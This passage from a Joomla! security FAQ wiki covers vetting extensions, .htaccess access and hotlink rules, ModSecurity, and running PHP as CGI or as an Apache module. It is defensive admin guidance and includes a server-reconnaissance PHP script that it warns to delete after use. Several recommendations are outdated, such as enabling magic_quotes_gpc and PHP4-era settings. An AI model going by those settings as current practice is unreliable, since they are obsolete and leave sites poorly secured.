Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
